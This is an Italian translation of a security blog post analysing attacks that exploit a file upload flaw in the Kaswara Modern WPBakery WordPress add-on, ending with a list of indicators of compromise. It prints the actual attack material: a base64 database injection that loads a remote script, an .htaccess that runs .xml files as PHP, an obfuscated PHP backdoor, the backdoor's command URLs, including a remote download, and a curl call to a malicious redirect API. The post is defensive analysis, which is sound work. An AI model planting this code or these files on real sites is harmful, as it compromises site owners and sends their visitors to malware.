Plugin aggiuntivo Kaswara Modern WPBakery Page Builder vulnerabile sfruttato in natura

Pubblicato: 2021-06-08

Il 20 aprile 2021, i nostri amici di WPScan hanno segnalato una grave vulnerabilità sui componenti aggiuntivi di Kaswara Modern VC, noti anche come componenti aggiuntivi di Kaswara Modern WPBakery Page Builder. Non è più disponibile su Codecanyon/Envato, il che significa che se lo hai in esecuzione, devi scegliere un'alternativa.

Questa vulnerabilità consente agli utenti non autenticati di caricare file arbitrari nella directory delle icone del plug-in (./wp-content/uploads/kaswara/icons). Questo è il primo Indicator Of Compromise (IOC) che i nostri amici di WPScan hanno condiviso con noi nel loro rapporto.

La possibilità di caricare file arbitrari su un sito Web offre al malintenzionato il pieno controllo sul sito, il che rende difficile definire il carico utile finale di questa infezione; quindi, ti mostreremo tutto ciò che abbiamo trovato finora (ci siamo lasciati un po' trasportare dalla ricerca, quindi sentiti libero di saltare alla sezione del CIO se non vuoi leggere fino in fondo).

Iniezione di database, app Android false e altre backdoor

Grazie al nostro amico Denis Siegubko di Sucuri per aver sottolineato il seguito dell'iniezione di database utilizzato con questo attacco.

I malintenzionati aggiornerebbero l'opzione "kaswara-customJS" per aggiungere uno snippet arbitrario dannoso di codice Javascript. Ecco un esempio che abbiamo trovato:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Questa stringa codificata in base64 si traduce in:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

E come di solito accade con questo tipo di script, caricherà a catena una serie di altri frammenti di codice Javascript e il payload finale sarà un malvertising o un exploit kit. Questo è molto simile a quanto riportato da Wordfence qui.

In questo caso, lo script sta morendo su hxxp://double-clickd[.]com/ e non carica alcun contenuto dannoso. Ho trovato Javascript sospetto che chiama questo sito dall'inizio del 2020 e le persone lo hanno già bloccato dal 2018.

App false caricate sul sito

Le 40 app Android trovate sui siti Web che abbiamo esaminato erano versioni false di diverse app, come AliPay, PayPal, Correos, DHL e molte altre, che fortunatamente sono state rilevate dai fornitori di antivirus più popolari secondo questa analisi di VirusTotal.

VirusTotal risulta su uno dei file APK trovati su un sito compromesso

Non ho verificato le intenzioni dell'app, ma una rapida revisione delle autorizzazioni richieste può darci un'idea di cosa potrebbe fare:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • Android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • Android.permission.INTERNET
  • Android.permission.SEND_SMS
  • Android.permission.CALL_PHONE
  • Android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Tuttavia, questi file non vengono caricati immediatamente utilizzando l'exploit Kaswara. Dopo che il sito è stato compromesso, gli aggressori caricheranno prima altri strumenti per controllare completamente il sito.

File caricati

Alcune backdoor e altri malware sono stati trovati anche su siti Web compromessi da questa vulnerabilità. Condividerò una rapida analisi di quelli più popolari e interessanti in questo post. Tuttavia, voglio prima concentrarmi su quello più complesso.

Reindirizzamento e app false

Le App false che ho trovato su diversi siti compromessi non sono state caricate sfruttando la vulnerabilità di Kaswara. Vengono caricati sul sito utilizzando uno strumento di hacking multifunzione, che consente all'attaccante di caricare del codice remoto (fornendo un URL o una stringa) e reindirizzare l'utente a un sito dannoso.

Il file può essere facilmente identificato dalla presenza di questa stringa: base64_decode('MTIz');error_reporting(0); funzione

È interessante notare che randomizza tutto il resto tranne questo.

Il malware è su una singola riga, che è anche un IOC interessante se stai cercando questo tipo di anomalia del codice.

malware c.php con codifica completa

Per facilitare la comprensione, ho decodificato la maggior parte del codice, rinominato le funzioni interessanti e abbellito il codice. Il malware include 6 diverse funzioni e 5 di esse si basano sui valori passati alla variabile $_GET['ts'] . Per questo documento, consideriamo una delle tante istanze che ho trovato: c.php .

/c.php?ts=kt

Questo non fa nulla e forzerà il sito a restituire un errore 500 (più avanti nel codice).

/c.php?ts=1

Modifica il valore del flag $q1a in true per eseguire una convalida del codice e inviare un messaggio OK all'attaccante.

In questo caso il sito remoto risponde: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v="Codice"&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Scrive un file sul server con il codice fornito dal contenuto di $_GET["v"] purché $_GET["p"] sia il checksum SHA1 di 123 (ricordate che il primo IOC di base64_decode('MTIz') ? questo è quel checksum).

/c.php?ts=tt

Scrive 5 MB di "-" sul server, probabilmente utilizzato per verificare se la funzione di caricamento funzionerà sul server.

/c.php?ts=dwm&h=HASH1,HASH2

Quando il malware riceve questa richiesta, esegue un test per verificare se i file caricati sono stati scritti correttamente sul server. I loro hash MD5 devono essere conosciuti e vengono inviati alla variabile $_GET['h'] come valori separati da virgole.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Scarica un file da una serie di siti Web di terze parti e lo salva sul server nominandolo dopo gli ultimi 12 caratteri dell'md5 del file scaricato.

Questa è la funzione utilizzata per caricare app false sul server.

Ecco un esempio della richiesta di download di file dannosi /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Reindirizzamento dell'accesso

Se è stata selezionata l'opzione kt o nessuna opzione, il codice procede al reindirizzamento, che si ottiene richiedendo un BLOB JSON con i dati necessari. Quindi procede a reindirizzare il visitatore utilizzando la funzione di intestazione.

La risposta è così: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

La funzione per eseguire una richiesta cURL con i parametri necessari è questa: Niente di speciale...

E può essere tradotto in questa richiesta cURL:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

L'URL finale è, per quanto ho potuto testare, casuale, ma condivide la stessa caratteristica di essere una pagina falsa per un servizio o un'app popolare.

wp-content/uploads/kaswara/icons/16/javas.xml e wp-content/uploads/kaswara/icons/16/.htaccess

Un file XML di solito non è contrassegnato come una potenziale minaccia, ma in questo caso abbiamo un file .htaccess appositamente predisposto che cambia il modo in cui lo vede il server web:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

In effetti, dice ad Apache di interpretare qualsiasi file javas, home o menu con xml, php o pdf come un file PHP da elaborare di conseguenza ed eseguire. Quindi, uno qualsiasi di quei file presenti nella stessa struttura di directory di questo .htaccess sarà sospetto.

Il file javas.xml è lo stesso di altri file dannosi caricati sul sito. Ho scoperto che la differenza è che alcuni hanno una o due righe vuote alla fine del file, il che rende l'hashing tradizionale un po' più complicato.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

Il codice dannoso viene offuscato utilizzando stringhe codificate str_rot13 e base64. Utilizza anche valori esadecimali e operazioni matematiche per nascondere un po' di più le stringhe. Il payload finale è sconosciuto poiché creerà una funzione basata sui valori di una richiesta POST. Tuttavia, il carico utile sembra essere lo stesso ogni volta poiché si basa su un controllo md5 prima di crearlo (c42ea979ed982c02632430e9e98a66d6 è l'hash md5).

Conclusione

Poiché si tratta di una campagna attiva, al momento della stesura di questo post stiamo riscontrando sempre più diversi esempi di malware rilasciati nei siti interessati. Alcuni sono solo variazioni di ciò che abbiamo qui, mentre altri sono abbastanza interessanti per un'analisi più approfondita. Cerca alcuni post più piccoli in arrivo per esplorare alcuni di questi altri esempi.

Ciò illustra l'importanza di aggiornare le estensioni con le ultime correzioni di sicurezza; se gli sviluppatori non rilasciano le correzioni in modo tempestivo o viene rimosso dal repository di WordPress.org (o da altri mercati), ti consigliamo vivamente di trovare un'alternativa più sicura.

Se sei preoccupato per il malware e la vulnerabilità del tuo sito, dai un'occhiata alle funzionalità di sicurezza di Jetpack. Jetpack Security offre una sicurezza del sito WordPress completa e facile da usare, inclusi backup, scansione malware e protezione antispam.

Indicatori di compromesso

Qui trovi l'elenco completo di tutti i CIO che abbiamo identificato:

Hash (SHA-1) Il percorso Descrizione della minaccia
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 App Android falsa
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 App Android falsa
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded App Android falsa
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd App Android falsa
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cfr App Android falsa
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 App Android falsa
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe App Android falsa
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c App Android falsa
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a App Android falsa
423d83a87a3833440f6b8109677795876b83b7a90 ./34b0ea9d688e App Android falsa
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b App Android falsa
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa App Android falsa
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc App Android falsa
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea App Android falsa
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb App Android falsa
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 App Android falsa
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae App Android falsa
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 App Android falsa
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e App Android falsa
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c App Android falsa
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e App Android falsa
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f App Android falsa
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b App Android falsa
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 App Android falsa
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 App Android falsa
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 App Android falsa
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c App Android falsa
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc App Android falsa
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa App Android falsa
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 App Android falsa
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d App Android falsa
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 App Android falsa
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 App Android falsa
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 App Android falsa
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 App Android falsa
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 App Android falsa
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 App Android falsa
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d App Android falsa
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 App Android falsa
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 App Android falsa
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Malware caduto
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Malware caduto
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php Caricatore di file PHP
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Malware caduto
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Malware per l'esecuzione di codice in remoto
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Malware caduto
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php Malware caduto
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Malware caduto
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Malware caduto
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Malware caduto
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Malware caduto
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php Malware caduto
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php Malware caduto
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php Malware per l'esecuzione di codice in remoto
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php Malware caduto
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php o ./wp-content/uploads/xeh02b.php Malware caduto
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php Malware caduto
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php Malware per l'esecuzione di codice in remoto
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Malware caduto
wp-content/uploads/kaswara/icons/16/javas.xml Malware per l'esecuzione di codice in remoto
smurfetta.ru Dominio dannoso
http://papass.ru Dominio dannoso